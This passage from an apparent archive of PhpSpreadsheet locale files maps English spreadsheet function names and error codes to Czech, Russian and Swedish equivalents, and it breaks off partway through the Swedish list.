AMORLINC = AMORLINC COUPDAYBS = COUPDAYBS COUPDAYS = COUPDAYS COUPDAYSNC = COUPDAYSNC COUPNCD = COUPNCD COUPNUM = COUPNUM COUPPCD = COUPPCD CUMIPMT = CUMIPMT CUMPRINC = CUMPRINC DB = ODPIS.ZRYCH DDB = ODPIS.ZRYCH2 DISC = DISC DOLLARDE = DOLLARDE DOLLARFR = DOLLARFR DURATION = DURATION EFFECT = EFFECT FV = BUDHODNOTA FVSCHEDULE = FVSCHEDULE INTRATE = INTRATE IPMT = PLATBA.ÚROK IRR = MÍRA.VÝNOSNOSTI ISPMT = ISPMT MDURATION = MDURATION MIRR = MOD.MÍRA.VÝNOSNOSTI NOMINAL = NOMINAL NPER = POČET.OBDOBÍ NPV = ČISTÁ.SOUČHODNOTA ODDFPRICE = ODDFPRICE ODDFYIELD = ODDFYIELD ODDLPRICE = ODDLPRICE ODDLYIELD = ODDLYIELD PDURATION = PDURATION PMT = PLATBA PPMT = PLATBA.ZÁKLAD PRICE = PRICE PRICEDISC = PRICEDISC PRICEMAT = PRICEMAT PV = SOUČHODNOTA RATE = ÚROKOVÁ.MÍRA RECEIVED = RECEIVED RRI = RRI SLN = ODPIS.LIN SYD = ODPIS.NELIN TBILLEQ = TBILLEQ TBILLPRICE = TBILLPRICE TBILLYIELD = TBILLYIELD VDB = ODPIS.ZA.INT XIRR = XIRR XNPV = XNPV YIELD = YIELD YIELDDISC = YIELDDISC YIELDMAT = YIELDMAT ## ## Informační funkce (Information Functions) ## CELL = POLÍČKO ERROR.TYPE = CHYBA.TYP INFO = O.PROSTŘEDÍ ISBLANK = JE.PRÁZDNÉ ISERR = JE.CHYBA ISERROR = JE.CHYBHODN ISEVEN = ISEVEN ISFORMULA = ISFORMULA ISLOGICAL = JE.LOGHODN ISNA = JE.NEDEF ISNONTEXT = JE.NETEXT ISNUMBER = JE.ČISLO ISODD = ISODD ISREF = JE.ODKAZ ISTEXT = JE.TEXT N = N NA = NEDEF SHEET = SHEET SHEETS = SHEETS TYPE = TYP ## ## Logické funkce (Logical Functions) ## AND = A FALSE = NEPRAVDA IF = KDYŽ IFERROR = IFERROR IFNA = IFNA IFS = IFS NOT = NE OR = NEBO SWITCH = SWITCH TRUE = PRAVDA XOR = XOR ## ## Vyhledávací funkce a funkce pro odkazy (Lookup & Reference Functions) ## ADDRESS = ODKAZ AREAS = POČET.BLOKŮ CHOOSE = ZVOLIT COLUMN = SLOUPEC COLUMNS = SLOUPCE FORMULATEXT = FORMULATEXT GETPIVOTDATA = ZÍSKATKONTDATA HLOOKUP = VVYHLEDAT HYPERLINK = HYPERTEXTOVÝ.ODKAZ INDEX = INDEX INDIRECT = NEPŘÍMÝ.ODKAZ LOOKUP = VYHLEDAT MATCH = POZVYHLEDAT OFFSET = POSUN ROW = ŘÁDEK ROWS = ŘÁDKY RTD = RTD TRANSPOSE = TRANSPOZICE VLOOKUP = SVYHLEDAT ## ## Matematické a trigonometrické funkce (Math & Trig Functions) ## ABS = ABS ACOS = ARCCOS ACOSH = ARCCOSH ACOT = ACOT ACOTH = ACOTH AGGREGATE = AGGREGATE ARABIC = ARABIC ASIN = ARCSIN ASINH = ARCSINH ATAN = ARCTG ATAN2 = ARCTG2 ATANH = ARCTGH BASE = BASE CEILING.MATH = CEILING.MATH COMBIN = KOMBINACE COMBINA = COMBINA COS = COS COSH = COSH COT = COT COTH = COTH CSC = CSC CSCH = CSCH DECIMAL = DECIMAL DEGREES = DEGREES EVEN = ZAOKROUHLIT.NA.SUDÉ EXP = EXP FACT = FAKTORIÁL FACTDOUBLE = FACTDOUBLE FLOOR.MATH = FLOOR.MATH GCD = GCD INT = CELÁ.ČÁST LCM = LCM LN = LN LOG = LOGZ LOG10 = LOG MDETERM = DETERMINANT MINVERSE = INVERZE MMULT = SOUČIN.MATIC MOD = MOD MROUND = MROUND MULTINOMIAL = MULTINOMIAL MUNIT = MUNIT ODD = ZAOKROUHLIT.NA.LICHÉ PI = PI POWER = POWER PRODUCT = SOUČIN QUOTIENT = QUOTIENT RADIANS = RADIANS RAND = NÁHČÍSLO RANDBETWEEN = RANDBETWEEN ROMAN = ROMAN ROUND = ZAOKROUHLIT ROUNDDOWN = ROUNDDOWN ROUNDUP = ROUNDUP SEC = SEC SECH = SECH SERIESSUM = SERIESSUM SIGN = SIGN SIN = SIN SINH = SINH SQRT = ODMOCNINA SQRTPI = SQRTPI SUBTOTAL = SUBTOTAL SUM = SUMA SUMIF = SUMIF SUMIFS = SUMIFS SUMPRODUCT = SOUČIN.SKALÁRNÍ SUMSQ = SUMA.ČTVERCŮ SUMX2MY2 = SUMX2MY2 SUMX2PY2 = SUMX2PY2 SUMXMY2 = SUMXMY2 TAN = TG TANH = TGH TRUNC = USEKNOUT ## ## Statistické funkce (Statistical Functions) ## AVEDEV = PRŮMODCHYLKA AVERAGE = PRŮMĚR AVERAGEA = AVERAGEA AVERAGEIF = AVERAGEIF AVERAGEIFS = AVERAGEIFS BETA.DIST = BETA.DIST BETA.INV = BETA.INV BINOM.DIST = BINOM.DIST BINOM.DIST.RANGE = BINOM.DIST.RANGE BINOM.INV = BINOM.INV CHISQ.DIST = CHISQ.DIST CHISQ.DIST.RT = CHISQ.DIST.RT CHISQ.INV = CHISQ.INV CHISQ.INV.RT = CHISQ.INV.RT CHISQ.TEST = CHISQ.TEST CONFIDENCE.NORM = CONFIDENCE.NORM CONFIDENCE.T = CONFIDENCE.T CORREL = CORREL COUNT = POČET COUNTA = POČET2 COUNTBLANK = COUNTBLANK COUNTIF = COUNTIF COUNTIFS = COUNTIFS COVARIANCE.P = COVARIANCE.P COVARIANCE.S = COVARIANCE.S DEVSQ = DEVSQ EXPON.DIST = EXPON.DIST F.DIST = F.DIST F.DIST.RT = F.DIST.RT F.INV = F.INV F.INV.RT = F.INV.RT F.TEST = F.TEST FISHER = FISHER FISHERINV = FISHERINV FORECAST.ETS = FORECAST.ETS FORECAST.ETS.CONFINT = FORECAST.ETS.CONFINT FORECAST.ETS.SEASONALITY = FORECAST.ETS.SEASONALITY FORECAST.ETS.STAT = FORECAST.ETS.STAT FORECAST.LINEAR = FORECAST.LINEAR FREQUENCY = ČETNOSTI GAMMA = GAMMA GAMMA.DIST = GAMMA.DIST GAMMA.INV = GAMMA.INV GAMMALN = GAMMALN GAMMALN.PRECISE = GAMMALN.PRECISE GAUSS = GAUSS GEOMEAN = GEOMEAN GROWTH = LOGLINTREND HARMEAN = HARMEAN HYPGEOM.DIST = HYPGEOM.DIST INTERCEPT = INTERCEPT KURT = KURT LARGE = LARGE LINEST = LINREGRESE LOGEST = LOGLINREGRESE LOGNORM.DIST = LOGNORM.DIST LOGNORM.INV = LOGNORM.INV MAX = MAX MAXA = MAXA MAXIFS = MAXIFS MEDIAN = MEDIAN MIN = MIN MINA = MINA MINIFS = MINIFS MODE.MULT = MODE.MULT MODE.SNGL = MODE.SNGL NEGBINOM.DIST = NEGBINOM.DIST NORM.DIST = NORM.DIST NORM.INV = NORM.INV NORM.S.DIST = NORM.S.DIST NORM.S.INV = NORM.S.INV PEARSON = PEARSON PERCENTILE.EXC = PERCENTIL.EXC PERCENTILE.INC = PERCENTIL.INC PERCENTRANK.EXC = PERCENTRANK.EXC PERCENTRANK.INC = PERCENTRANK.INC PERMUT = PERMUTACE PERMUTATIONA = PERMUTATIONA PHI = PHI POISSON.DIST = POISSON.DIST PROB = PROB QUARTILE.EXC = QUARTIL.EXC QUARTILE.INC = QUARTIL.INC RANK.AVG = RANK.AVG RANK.EQ = RANK.EQ RSQ = RKQ SKEW = SKEW SKEW.P = SKEW.P SLOPE = SLOPE SMALL = SMALL STANDARDIZE = STANDARDIZE STDEV.P = SMODCH.P STDEV.S = SMODCH.VÝBĚR.S STDEVA = STDEVA STDEVPA = STDEVPA STEYX = STEYX T.DIST = T.DIST T.DIST.2T = T.DIST.2T T.DIST.RT = T.DIST.RT T.INV = T.INV T.INV.2T = T.INV.2T T.TEST = T.TEST TREND = LINTREND TRIMMEAN = TRIMMEAN VAR.P = VAR.P VAR.S = VAR.S VARA = VARA VARPA = VARPA WEIBULL.DIST = WEIBULL.DIST Z.TEST = Z.TEST ## ## Textové funkce (Text Functions) ## BAHTTEXT = BAHTTEXT CHAR = ZNAK CLEAN = VYČISTIT CODE = KÓD CONCAT = CONCAT DOLLAR = KČ EXACT = STEJNÉ FIND = NAJÍT FIXED = ZAOKROUHLIT.NA.TEXT LEFT = ZLEVA LEN = DÉLKA LOWER = MALÁ MID = ČÁST NUMBERVALUE = NUMBERVALUE PHONETIC = ZVUKOVÉ PROPER = VELKÁ2 REPLACE = NAHRADIT REPT = OPAKOVAT RIGHT = ZPRAVA SEARCH = HLEDAT SUBSTITUTE = DOSADIT T = T TEXT = HODNOTA.NA.TEXT TEXTJOIN = TEXTJOIN TRIM = PROČISTIT UNICHAR = UNICHAR UNICODE = UNICODE UPPER = VELKÁ VALUE = HODNOTA ## ## Webové funkce (Web Functions) ## ENCODEURL = ENCODEURL FILTERXML = FILTERXML WEBSERVICE = WEBSERVICE ## ## Funkce pro kompatibilitu (Compatibility Functions) ## BETADIST = BETADIST BETAINV = BETAINV BINOMDIST = BINOMDIST CEILING = ZAOKR.NAHORU CHIDIST = CHIDIST CHIINV = CHIINV CHITEST = CHITEST CONCATENATE = CONCATENATE CONFIDENCE = CONFIDENCE COVAR = COVAR CRITBINOM = CRITBINOM EXPONDIST = EXPONDIST FDIST = FDIST FINV = FINV FLOOR = ZAOKR.DOLŮ FORECAST = FORECAST FTEST = FTEST GAMMADIST = GAMMADIST GAMMAINV = GAMMAINV HYPGEOMDIST = HYPGEOMDIST LOGINV = LOGINV LOGNORMDIST = LOGNORMDIST MODE = MODE NEGBINOMDIST = NEGBINOMDIST NORMDIST = NORMDIST NORMINV = NORMINV NORMSDIST = NORMSDIST NORMSINV = NORMSINV PERCENTILE = PERCENTIL PERCENTRANK = PERCENTRANK POISSON = POISSON QUARTILE = QUARTIL RANK = RANK STDEV = SMODCH.VÝBĚR STDEVP = SMODCH TDIST = TDIST TINV = TINV TTEST = TTEST VAR = VAR.VÝBĚR VARP = VAR WEIBULL = WEIBULL ZTEST = ZTEST phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/locale/cs/config000064400000000535151676714400022544 0ustar00############################################################ ## ## PhpSpreadsheet - locale settings ## ## Ceština (Czech) ## ############################################################ ArgumentSeparator = ; ## ## Error Codes ## NULL DIV0 = #DĚLENÍ_NULOU! VALUE = #HODNOTA! REF = #ODKAZ! NAME = #NÁZEV? NUM = #ČÍSLO! NA = #NENÍ_K_DISPOZICI phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/locale/ru/functions000064400000033315151676714400023332 0ustar00############################################################ ## ## PhpSpreadsheet - function name translations ## ## русский язык (Russian) ## ############################################################ ## ## Функции кубов (Cube Functions) ## CUBEKPIMEMBER = КУБЭЛЕМЕНТКИП CUBEMEMBER = КУБЭЛЕМЕНТ CUBEMEMBERPROPERTY = КУБСВОЙСТВОЭЛЕМЕНТА CUBERANKEDMEMBER = КУБПОРЭЛЕМЕНТ CUBESET = КУБМНОЖ CUBESETCOUNT = КУБЧИСЛОЭЛМНОЖ CUBEVALUE = КУБЗНАЧЕНИЕ ## ## Функции для работы с базами данных (Database Functions) ## DAVERAGE = ДСРЗНАЧ DCOUNT = БСЧЁТ DCOUNTA = БСЧЁТА DGET = БИЗВЛЕЧЬ DMAX = ДМАКС DMIN = ДМИН DPRODUCT = БДПРОИЗВЕД DSTDEV = ДСТАНДОТКЛ DSTDEVP = ДСТАНДОТКЛП DSUM = БДСУММ DVAR = БДДИСП DVARP = БДДИСПП ## ## Функции даты и времени (Date & Time Functions) ## DATE = ДАТА DATEDIF = РАЗНДАТ DATESTRING = СТРОКАДАННЫХ DATEVALUE = ДАТАЗНАЧ DAY = ДЕНЬ DAYS = ДНИ DAYS360 = ДНЕЙ360 EDATE = ДАТАМЕС EOMONTH = КОНМЕСЯЦА HOUR = ЧАС ISOWEEKNUM = НОМНЕДЕЛИ.ISO MINUTE = МИНУТЫ MONTH = МЕСЯЦ NETWORKDAYS = ЧИСТРАБДНИ NETWORKDAYS.INTL = ЧИСТРАБДНИ.МЕЖД NOW = ТДАТА SECOND = СЕКУНДЫ THAIDAYOFWEEK = ТАЙДЕНЬНЕД THAIMONTHOFYEAR = ТАЙМЕСЯЦ THAIYEAR = ТАЙГОД TIME = ВРЕМЯ TIMEVALUE = ВРЕМЗНАЧ TODAY = СЕГОДНЯ WEEKDAY = ДЕНЬНЕД WEEKNUM = НОМНЕДЕЛИ WORKDAY = РАБДЕНЬ WORKDAY.INTL = РАБДЕНЬ.МЕЖД YEAR = ГОД YEARFRAC = ДОЛЯГОДА ## ## Инженерные функции (Engineering Functions) ## BESSELI = БЕССЕЛЬ.I BESSELJ = БЕССЕЛЬ.J BESSELK = БЕССЕЛЬ.K BESSELY = БЕССЕЛЬ.Y BIN2DEC = ДВ.В.ДЕС BIN2HEX = ДВ.В.ШЕСТН BIN2OCT = ДВ.В.ВОСЬМ BITAND = БИТ.И BITLSHIFT = БИТ.СДВИГЛ BITOR = БИТ.ИЛИ BITRSHIFT = БИТ.СДВИГП BITXOR = БИТ.ИСКЛИЛИ COMPLEX = КОМПЛЕКСН CONVERT = ПРЕОБР DEC2BIN = ДЕС.В.ДВ DEC2HEX = ДЕС.В.ШЕСТН DEC2OCT = ДЕС.В.ВОСЬМ DELTA = ДЕЛЬТА ERF = ФОШ ERF.PRECISE = ФОШ.ТОЧН ERFC = ДФОШ ERFC.PRECISE = ДФОШ.ТОЧН GESTEP = ПОРОГ HEX2BIN = ШЕСТН.В.ДВ HEX2DEC = ШЕСТН.В.ДЕС HEX2OCT = ШЕСТН.В.ВОСЬМ IMABS = МНИМ.ABS IMAGINARY = МНИМ.ЧАСТЬ IMARGUMENT = МНИМ.АРГУМЕНТ IMCONJUGATE = МНИМ.СОПРЯЖ IMCOS = МНИМ.COS IMCOSH = МНИМ.COSH IMCOT = МНИМ.COT IMCSC = МНИМ.CSC IMCSCH = МНИМ.CSCH IMDIV = МНИМ.ДЕЛ IMEXP = МНИМ.EXP IMLN = МНИМ.LN IMLOG10 = МНИМ.LOG10 IMLOG2 = МНИМ.LOG2 IMPOWER = МНИМ.СТЕПЕНЬ IMPRODUCT = МНИМ.ПРОИЗВЕД IMREAL = МНИМ.ВЕЩ IMSEC = МНИМ.SEC IMSECH = МНИМ.SECH IMSIN = МНИМ.SIN IMSINH = МНИМ.SINH IMSQRT = МНИМ.КОРЕНЬ IMSUB = МНИМ.РАЗН IMSUM = МНИМ.СУММ IMTAN = МНИМ.TAN OCT2BIN = ВОСЬМ.В.ДВ OCT2DEC = ВОСЬМ.В.ДЕС OCT2HEX = ВОСЬМ.В.ШЕСТН ## ## Финансовые функции (Financial Functions) ## ACCRINT = НАКОПДОХОД ACCRINTM = НАКОПДОХОДПОГАШ AMORDEGRC = АМОРУМ AMORLINC = АМОРУВ COUPDAYBS = ДНЕЙКУПОНДО COUPDAYS = ДНЕЙКУПОН COUPDAYSNC = ДНЕЙКУПОНПОСЛЕ COUPNCD = ДАТАКУПОНПОСЛЕ COUPNUM = ЧИСЛКУПОН COUPPCD = ДАТАКУПОНДО CUMIPMT = ОБЩПЛАТ CUMPRINC = ОБЩДОХОД DB = ФУО DDB = ДДОБ DISC = СКИДКА DOLLARDE = РУБЛЬ.ДЕС DOLLARFR = РУБЛЬ.ДРОБЬ DURATION = ДЛИТ EFFECT = ЭФФЕКТ FV = БС FVSCHEDULE = БЗРАСПИС INTRATE = ИНОРМА IPMT = ПРПЛТ IRR = ВСД ISPMT = ПРОЦПЛАТ MDURATION = МДЛИТ MIRR = МВСД NOMINAL = НОМИНАЛ NPER = КПЕР NPV = ЧПС ODDFPRICE = ЦЕНАПЕРВНЕРЕГ ODDFYIELD = ДОХОДПЕРВНЕРЕГ ODDLPRICE = ЦЕНАПОСЛНЕРЕГ ODDLYIELD = ДОХОДПОСЛНЕРЕГ PDURATION = ПДЛИТ PMT = ПЛТ PPMT = ОСПЛТ PRICE = ЦЕНА PRICEDISC = ЦЕНАСКИДКА PRICEMAT = ЦЕНАПОГАШ PV = ПС RATE = СТАВКА RECEIVED = ПОЛУЧЕНО RRI = ЭКВ.СТАВКА SLN = АПЛ SYD = АСЧ TBILLEQ = РАВНОКЧЕК TBILLPRICE = ЦЕНАКЧЕК TBILLYIELD = ДОХОДКЧЕК USDOLLAR = ДОЛЛСША VDB = ПУО XIRR = ЧИСТВНДОХ XNPV = ЧИСТНЗ YIELD = ДОХОД YIELDDISC = ДОХОДСКИДКА YIELDMAT = ДОХОДПОГАШ ## ## Информационные функции (Information Functions) ## CELL = ЯЧЕЙКА ERROR.TYPE = ТИП.ОШИБКИ INFO = ИНФОРМ ISBLANK = ЕПУСТО ISERR = ЕОШ ISERROR = ЕОШИБКА ISEVEN = ЕЧЁТН ISFORMULA = ЕФОРМУЛА ISLOGICAL = ЕЛОГИЧ ISNA = ЕНД ISNONTEXT = ЕНЕТЕКСТ ISNUMBER = ЕЧИСЛО ISODD = ЕНЕЧЁТ ISREF = ЕССЫЛКА ISTEXT = ЕТЕКСТ N = Ч NA = НД SHEET = ЛИСТ SHEETS = ЛИСТЫ TYPE = ТИП ## ## Логические функции (Logical Functions) ## AND = И FALSE = ЛОЖЬ IF = ЕСЛИ IFERROR = ЕСЛИОШИБКА IFNA = ЕСНД IFS = УСЛОВИЯ NOT = НЕ OR = ИЛИ SWITCH = ПЕРЕКЛЮЧ TRUE = ИСТИНА XOR = ИСКЛИЛИ ## ## Функции ссылки и поиска (Lookup & Reference Functions) ## ADDRESS = АДРЕС AREAS = ОБЛАСТИ CHOOSE = ВЫБОР COLUMN = СТОЛБЕЦ COLUMNS = ЧИСЛСТОЛБ FILTER = ФИЛЬТР FORMULATEXT = Ф.ТЕКСТ GETPIVOTDATA = ПОЛУЧИТЬ.ДАННЫЕ.СВОДНОЙ.ТАБЛИЦЫ HLOOKUP = ГПР HYPERLINK = ГИПЕРССЫЛКА INDEX = ИНДЕКС INDIRECT = ДВССЫЛ LOOKUP = ПРОСМОТР MATCH = ПОИСКПОЗ OFFSET = СМЕЩ ROW = СТРОКА ROWS = ЧСТРОК RTD = ДРВ SORT = СОРТ SORTBY = СОРТПО TRANSPOSE = ТРАНСП UNIQUE = УНИК VLOOKUP = ВПР XLOOKUP = ПРОСМОТРX XMATCH = ПОИСКПОЗX ## ## Математические и тригонометрические функции (Math & Trig Functions) ## ABS = ABS ACOS = ACOS ACOSH = ACOSH ACOT = ACOT ACOTH = ACOTH AGGREGATE = АГРЕГАТ ARABIC = АРАБСКОЕ ASIN = ASIN ASINH = ASINH ATAN = ATAN ATAN2 = ATAN2 ATANH = ATANH BASE = ОСНОВАНИЕ CEILING.MATH = ОКРВВЕРХ.МАТ CEILING.PRECISE = ОКРВВЕРХ.ТОЧН COMBIN = ЧИСЛКОМБ COMBINA = ЧИСЛКОМБА COS = COS COSH = COSH COT = COT COTH = COTH CSC = CSC CSCH = CSCH DECIMAL = ДЕС DEGREES = ГРАДУСЫ ECMA.CEILING = ECMA.ОКРВВЕРХ EVEN = ЧЁТН EXP = EXP FACT = ФАКТР FACTDOUBLE = ДВФАКТР FLOOR.MATH = ОКРВНИЗ.МАТ FLOOR.PRECISE = ОКРВНИЗ.ТОЧН GCD = НОД INT = ЦЕЛОЕ ISO.CEILING = ISO.ОКРВВЕРХ LCM = НОК LN = LN LOG = LOG LOG10 = LOG10 MDETERM = МОПРЕД MINVERSE = МОБР MMULT = МУМНОЖ MOD = ОСТАТ MROUND = ОКРУГЛТ MULTINOMIAL = МУЛЬТИНОМ MUNIT = МЕДИН ODD = НЕЧЁТ PI = ПИ POWER = СТЕПЕНЬ PRODUCT = ПРОИЗВЕД QUOTIENT = ЧАСТНОЕ RADIANS = РАДИАНЫ RAND = СЛЧИС RANDARRAY = СЛУЧМАССИВ RANDBETWEEN = СЛУЧМЕЖДУ ROMAN = РИМСКОЕ ROUND = ОКРУГЛ ROUNDBAHTDOWN = ОКРУГЛБАТВНИЗ ROUNDBAHTUP = ОКРУГЛБАТВВЕРХ ROUNDDOWN = ОКРУГЛВНИЗ ROUNDUP = ОКРУГЛВВЕРХ SEC = SEC SECH = SECH SERIESSUM = РЯД.СУММ SEQUENCE = ПОСЛЕДОВ SIGN = ЗНАК SIN = SIN SINH = SINH SQRT = КОРЕНЬ SQRTPI = КОРЕНЬПИ SUBTOTAL = ПРОМЕЖУТОЧНЫЕ.ИТОГИ SUM = СУММ SUMIF = СУММЕСЛИ SUMIFS = СУММЕСЛИМН SUMPRODUCT = СУММПРОИЗВ SUMSQ = СУММКВ SUMX2MY2 = СУММРАЗНКВ SUMX2PY2 = СУММСУММКВ SUMXMY2 = СУММКВРАЗН TAN = TAN TANH = TANH TRUNC = ОТБР ## ## Статистические функции (Statistical Functions) ## AVEDEV = СРОТКЛ AVERAGE = СРЗНАЧ AVERAGEA = СРЗНАЧА AVERAGEIF = СРЗНАЧЕСЛИ AVERAGEIFS = СРЗНАЧЕСЛИМН BETA.DIST = БЕТА.РАСП BETA.INV = БЕТА.ОБР BINOM.DIST = БИНОМ.РАСП BINOM.DIST.RANGE = БИНОМ.РАСП.ДИАП BINOM.INV = БИНОМ.ОБР CHISQ.DIST = ХИ2.РАСП CHISQ.DIST.RT = ХИ2.РАСП.ПХ CHISQ.INV = ХИ2.ОБР CHISQ.INV.RT = ХИ2.ОБР.ПХ CHISQ.TEST = ХИ2.ТЕСТ CONFIDENCE.NORM = ДОВЕРИТ.НОРМ CONFIDENCE.T = ДОВЕРИТ.СТЬЮДЕНТ CORREL = КОРРЕЛ COUNT = СЧЁТ COUNTA = СЧЁТЗ COUNTBLANK = СЧИТАТЬПУСТОТЫ COUNTIF = СЧЁТЕСЛИ COUNTIFS = СЧЁТЕСЛИМН COVARIANCE.P = КОВАРИАЦИЯ.Г COVARIANCE.S = КОВАРИАЦИЯ.В DEVSQ = КВАДРОТКЛ EXPON.DIST = ЭКСП.РАСП F.DIST = F.РАСП F.DIST.RT = F.РАСП.ПХ F.INV = F.ОБР F.INV.RT = F.ОБР.ПХ F.TEST = F.ТЕСТ FISHER = ФИШЕР FISHERINV = ФИШЕРОБР FORECAST.ETS = ПРЕДСКАЗ.ETS FORECAST.ETS.CONFINT = ПРЕДСКАЗ.ЕTS.ДОВИНТЕРВАЛ FORECAST.ETS.SEASONALITY = ПРЕДСКАЗ.ETS.СЕЗОННОСТЬ FORECAST.ETS.STAT = ПРЕДСКАЗ.ETS.СТАТ FORECAST.LINEAR = ПРЕДСКАЗ.ЛИНЕЙН FREQUENCY = ЧАСТОТА GAMMA = ГАММА GAMMA.DIST = ГАММА.РАСП GAMMA.INV = ГАММА.ОБР GAMMALN = ГАММАНЛОГ GAMMALN.PRECISE = ГАММАНЛОГ.ТОЧН GAUSS = ГАУСС GEOMEAN = СРГЕОМ GROWTH = РОСТ HARMEAN = СРГАРМ HYPGEOM.DIST = ГИПЕРГЕОМ.РАСП INTERCEPT = ОТРЕЗОК KURT = ЭКСЦЕСС LARGE = НАИБОЛЬШИЙ LINEST = ЛИНЕЙН LOGEST = ЛГРФПРИБЛ LOGNORM.DIST = ЛОГНОРМ.РАСП LOGNORM.INV = ЛОГНОРМ.ОБР MAX = МАКС MAXA = МАКСА MAXIFS = МАКСЕСЛИ MEDIAN = МЕДИАНА MIN = МИН MINA = МИНА MINIFS = МИНЕСЛИ MODE.MULT = МОДА.НСК MODE.SNGL = МОДА.ОДН NEGBINOM.DIST = ОТРБИНОМ.РАСП NORM.DIST = НОРМ.РАСП NORM.INV = НОРМ.ОБР NORM.S.DIST = НОРМ.СТ.РАСП NORM.S.INV = НОРМ.СТ.ОБР PEARSON = PEARSON PERCENTILE.EXC = ПРОЦЕНТИЛЬ.ИСКЛ PERCENTILE.INC = ПРОЦЕНТИЛЬ.ВКЛ PERCENTRANK.EXC = ПРОЦЕНТРАНГ.ИСКЛ PERCENTRANK.INC = ПРОЦЕНТРАНГ.ВКЛ PERMUT = ПЕРЕСТ PERMUTATIONA = ПЕРЕСТА PHI = ФИ POISSON.DIST = ПУАССОН.РАСП PROB = ВЕРОЯТНОСТЬ QUARTILE.EXC = КВАРТИЛЬ.ИСКЛ QUARTILE.INC = КВАРТИЛЬ.ВКЛ RANK.AVG = РАНГ.СР RANK.EQ = РАНГ.РВ RSQ = КВПИРСОН SKEW = СКОС SKEW.P = СКОС.Г SLOPE = НАКЛОН SMALL = НАИМЕНЬШИЙ STANDARDIZE = НОРМАЛИЗАЦИЯ STDEV.P = СТАНДОТКЛОН.Г STDEV.S = СТАНДОТКЛОН.В STDEVA = СТАНДОТКЛОНА STDEVPA = СТАНДОТКЛОНПА STEYX = СТОШYX T.DIST = СТЬЮДЕНТ.РАСП T.DIST.2T = СТЬЮДЕНТ.РАСП.2Х T.DIST.RT = СТЬЮДЕНТ.РАСП.ПХ T.INV = СТЬЮДЕНТ.ОБР T.INV.2T = СТЬЮДЕНТ.ОБР.2Х T.TEST = СТЬЮДЕНТ.ТЕСТ TREND = ТЕНДЕНЦИЯ TRIMMEAN = УРЕЗСРЕДНЕЕ VAR.P = ДИСП.Г VAR.S = ДИСП.В VARA = ДИСПА VARPA = ДИСПРА WEIBULL.DIST = ВЕЙБУЛЛ.РАСП Z.TEST = Z.ТЕСТ ## ## Текстовые функции (Text Functions) ## ARRAYTOTEXT = МАССИВВТЕКСТ BAHTTEXT = БАТТЕКСТ CHAR = СИМВОЛ CLEAN = ПЕЧСИМВ CODE = КОДСИМВ CONCAT = СЦЕП DBCS = БДЦС DOLLAR = РУБЛЬ EXACT = СОВПАД FIND = НАЙТИ FINDB = НАЙТИБ FIXED = ФИКСИРОВАННЫЙ ISTHAIDIGIT = ЕТАЙЦИФРЫ LEFT = ЛЕВСИМВ LEFTB = ЛЕВБ LEN = ДЛСТР LENB = ДЛИНБ LOWER = СТРОЧН MID = ПСТР MIDB = ПСТРБ NUMBERSTRING = СТРОКАЧИСЕЛ NUMBERVALUE = ЧЗНАЧ PROPER = ПРОПНАЧ REPLACE = ЗАМЕНИТЬ REPLACEB = ЗАМЕНИТЬБ REPT = ПОВТОР RIGHT = ПРАВСИМВ RIGHTB = ПРАВБ SEARCH = ПОИСК SEARCHB = ПОИСКБ SUBSTITUTE = ПОДСТАВИТЬ T = Т TEXT = ТЕКСТ TEXTJOIN = ОБЪЕДИНИТЬ THAIDIGIT = ТАЙЦИФРА THAINUMSOUND = ТАЙЧИСЛОВЗВУК THAINUMSTRING = ТАЙЧИСЛОВСТРОКУ THAISTRINGLENGTH = ТАЙДЛИНАСТРОКИ TRIM = СЖПРОБЕЛЫ UNICHAR = ЮНИСИМВ UNICODE = UNICODE UPPER = ПРОПИСН VALUE = ЗНАЧЕН VALUETOTEXT = ЗНАЧЕНИЕВТЕКСТ ## ## Веб-функции (Web Functions) ## ENCODEURL = КОДИР.URL FILTERXML = ФИЛЬТР.XML WEBSERVICE = ВЕБСЛУЖБА ## ## Функции совместимости (Compatibility Functions) ## BETADIST = БЕТАРАСП BETAINV = БЕТАОБР BINOMDIST = БИНОМРАСП CEILING = ОКРВВЕРХ CHIDIST = ХИ2РАСП CHIINV = ХИ2ОБР CHITEST = ХИ2ТЕСТ CONCATENATE = СЦЕПИТЬ CONFIDENCE = ДОВЕРИТ COVAR = КОВАР CRITBINOM = КРИТБИНОМ EXPONDIST = ЭКСПРАСП FDIST = FРАСП FINV = FРАСПОБР FLOOR = ОКРВНИЗ FORECAST = ПРЕДСКАЗ FTEST = ФТЕСТ GAMMADIST = ГАММАРАСП GAMMAINV = ГАММАОБР HYPGEOMDIST = ГИПЕРГЕОМЕТ LOGINV = ЛОГНОРМОБР LOGNORMDIST = ЛОГНОРМРАСП MODE = МОДА NEGBINOMDIST = ОТРБИНОМРАСП NORMDIST = НОРМРАСП NORMINV = НОРМОБР NORMSDIST = НОРМСТРАСП NORMSINV = НОРМСТОБР PERCENTILE = ПЕРСЕНТИЛЬ PERCENTRANK = ПРОЦЕНТРАНГ POISSON = ПУАССОН QUARTILE = КВАРТИЛЬ RANK = РАНГ STDEV = СТАНДОТКЛОН STDEVP = СТАНДОТКЛОНП TDIST = СТЬЮДРАСП TINV = СТЬЮДРАСПОБР TTEST = ТТЕСТ VAR = ДИСП VARP = ДИСПР WEIBULL = ВЕЙБУЛЛ ZTEST = ZТЕСТ phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/locale/ru/config000064400000000566151676714400022571 0ustar00############################################################ ## ## PhpSpreadsheet - locale settings ## ## русский язык (Russian) ## ############################################################ ArgumentSeparator = ; ## ## Error Codes ## NULL = #ПУСТО! DIV0 = #ДЕЛ/0! VALUE = #ЗНАЧ! REF = #ССЫЛКА! NAME = #ИМЯ? NUM = #ЧИСЛО! NA = #Н/Д phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/locale/sv/functions000064400000023241151676714400023331 0ustar00############################################################ ## ## PhpSpreadsheet - function name translations ## ## Svenska (Swedish) ## ############################################################ ## ## Kubfunktioner (Cube Functions) ## CUBEKPIMEMBER = KUBKPIMEDLEM CUBEMEMBER = KUBMEDLEM CUBEMEMBERPROPERTY = KUBMEDLEMSEGENSKAP CUBERANKEDMEMBER = KUBRANGORDNADMEDLEM CUBESET = KUBUPPSÄTTNING CUBESETCOUNT = KUBUPPSÄTTNINGANTAL CUBEVALUE = KUBVÄRDE ## ## Databasfunktioner (Database Functions) ## DAVERAGE = DMEDEL DCOUNT = DANTAL DCOUNTA = DANTALV DGET = DHÄMTA DMAX = DMAX DMIN = DMIN DPRODUCT = DPRODUKT DSTDEV = DSTDAV DSTDEVP = 